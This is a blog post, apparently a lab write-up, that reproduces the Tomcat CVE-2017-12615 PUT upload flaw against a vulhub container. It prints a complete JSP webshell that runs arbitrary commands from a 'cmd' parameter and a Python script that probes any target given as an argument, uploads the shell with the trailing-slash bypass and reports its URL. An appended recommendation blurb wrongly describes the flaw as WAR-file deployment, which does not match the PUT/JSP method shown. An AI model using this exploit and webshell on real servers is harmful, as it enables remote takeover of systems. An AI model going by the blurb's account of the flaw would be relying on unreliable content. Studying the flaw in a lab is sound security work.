Tomcat CVE-2017-12615 PUT任意文件上传

Tomcat CVE-2017-12615 PUT任意文件上传

漏洞原理:传送门

实验环境

主机角色IP
centos8漏洞靶机192.168.1.80
windows10攻击主机(burp)192.168.1.120

实验流程

开启漏洞靶机centos8

# 进入vulhub目录
cd /usr/sbin/vulhub/tomcat/CVE-2017-12615

# 创建docker镜像
docker-compose build

# 启动docker镜像
docker-compose up -d

查看tomcat关键的配置文件

vim Dockerfile

image-20210512110005016

cat /usr/local/tomcat/conf/web.xml | grep ‘<init-param>’

image-20210513163849179

向目标url发送一个options方法的请求,用来获知服务器允许的实际请求(看其中是否有PUT)

OPTIONS /shell.jsp/ HTTP/1.1
Host: 192.168.1.80:8080
Content-Length:5

shell

image-20210512112013273

如上图所示,返回的Allow字段中含有PUT方法,说明服务器允许PUT请求。

尝试使用PUT方法上传一个文件shell.jsp:

image-20210512112827287

用浏览器尝试访问该文件:

image-20210512112845567

如图所示,成功访问。

尝试上传一个webshell,内容如下:

<%@
page language="java"
import="java.util.*,java.io.*"
pageEncoding = "UTF-8"
%>
<%!public static String excuteCmd(String c) {
	StringBuilder line = new StringBuilder();
	try {
		Process pro = Runtime.getRuntime().exec(c);
		BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
		String temp = null;
		while ((temp = buf.readLine()) != null){
			line.append(temp+"\\n");
		}
		buf.close();
	} catch (Exception e) {
		line.append(e.getMessage());
	}
	return line.toString();
}
%>
<%
if(!"".equals(request.getParameter("cmd"))){
	out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}else{
	out.println(":-)");
}
%>

image-20210512140142646

访问上传的webshell:

image-20210512140251290

成功!

为方便复现漏洞,可以编写一个python脚本:

import http.client,sys
import time

#target = sys.argv[1]
file_name = str(int(time.time()))+'.jsp'   #以时间戳作为文件名,防止重名
body = '''<%@
page language="java"
import="java.util.*,java.io.*"
pageEncoding = "UTF-8"
%>
<%!public static String excuteCmd(String c) {
	StringBuilder line = new StringBuilder();
	try {
		Process pro = Runtime.getRuntime().exec(c);
		BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
		String temp = null;
		while ((temp = buf.readLine()) != null){
			line.append(temp+"\\n");
		}
		buf.close();
	} catch (Exception e) {
		line.append(e.getMessage());
	}
	return line.toString();
	}
%>
<%
if(!"".equals(request.getParameter("cmd"))){
	out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}else{
	out.println(":-)");}
%>
'''
target = sys.argv[1]     #接收一个参数,作为目标url
try:
    conn = http.client.HTTPConnection(target)    #对目标进行http连接
    conn.request(method='OPTIONS',url="/mapx")         #用options方法对目标url发起请求(路径随意)
    headers = dict(conn.getresponse().getheaders())   #获取响应头,作为一个字典
    #print(headers)
    if 'Allow' in headers and headers['Allow'].find('PUT') > 0:  #查找响应头的Allow字段是否含有PUT
        conn.close()          #关闭http连接
        conn = http.client.HTTPConnection(target)            
        url = "/" + file_name + "/"    #注意,一定要在filename后加/,这样才可以让tomact将shell.jsp/当作非jsp文件,让DefaultServlet去处理
        #url = "/" + str(int(time.time()))+'.jsp::$DATA'
        conn.request(method='PUT', url=url, body=body)      #使用PUT方式发送HTTP请求
        res = conn.getresponse()         #获取response对象
        if res.status == 201:
            try:
                #请求上传的文件,校验是否上传成功可被访问
                conn = http.client.HTTPConnection(target)  
                conn.request(method='GET',url=url)  #请求上传的文件
                html = conn.getresponse().read()    #获取respose
                html = html.decode()    
                if file_name in html:      #查找filename是否在html中
                    print('shell:' + target + url[:-1])   #输出文件名和url
                    result = 'vulnerable'
                else:
                    print('upload faild')
                    result = 'vulnerable'
            except Exception as e:
                result = 'not vulnerable'
                print('Error:',e)

        elif res.status == 204:   #204说明文件重名
            result = 'not vulnerable'
            print('file exists')
        else:
            result = 'not vulnerable'
            print('error')
        conn.close()
    else:
        result = 'not vulnerable'
        print('Server not vulnerable')
except Exception as e:
    print('Error',e)

运行python脚本,传入目标url:

image-20210513165430475

访问该文件,并传入命令参数:

image-20210513165531657

成功!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CVE-2017-12615是一个由Apache Tomcat服务器引起的漏洞,它存在Tomcat服务器的默认配置中。该漏洞使得攻击者能够通过进行远程命令执行来获取服务器的控制权。 该脚本的实现过程如下: 1. 首先,通过发送特制的HTTP请求,攻击者可以将恶意的Web应用程序(如war文件)上传到Tomcat服务器中。 2. 接下来,攻击者发送另一个特制的HTTP请求,触发Tomcat服务器对上传的Web应用程序进行部署。 3. 当Tomcat服务器部署恶意的Web应用程序时,该程序中的恶意代码将被执行。 4. 攻击者可以在恶意代码中包含任意的系统命令,从而实现远程命令执行。 5. 一旦成功执行命令,攻击者就能够在服务器上执行各种操作,例如文件读取/写入、系统信息获取等。 为了防御CVE-2017-12615漏洞,可以采取以下措施: 1. 及时更新和升级Apache Tomcat服务器,确保使用的版本没有漏洞。 2. 将Apache Tomcat和其他组件配置为具有最低特权,以减少潜在攻击者的影响范围。 3. 限制对Tomcat管理接口的访问,并使用强密码和多因素身份验证来保护管理接口。 4. 定期检查服务器上是否存在未知的应用程序文件或恶意代码,并将其删除。 5. 在Tomcat服务器上使用Web应用程序防火墙,以检测和阻止恶意HTTP请求。 6. 实施网络入侵检测系统(IDS)和入侵防御系统(IPS),以便及时检测和阻止攻击。 综上所述,CVE-2017-12615是一个严重的远程代码执行漏洞,攻击者通过利用该漏洞可以获取Tomcat服务器的控制权。为了避免受到此漏洞的攻击,我们必须采取一系列措施来确保Tomcat服务器安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值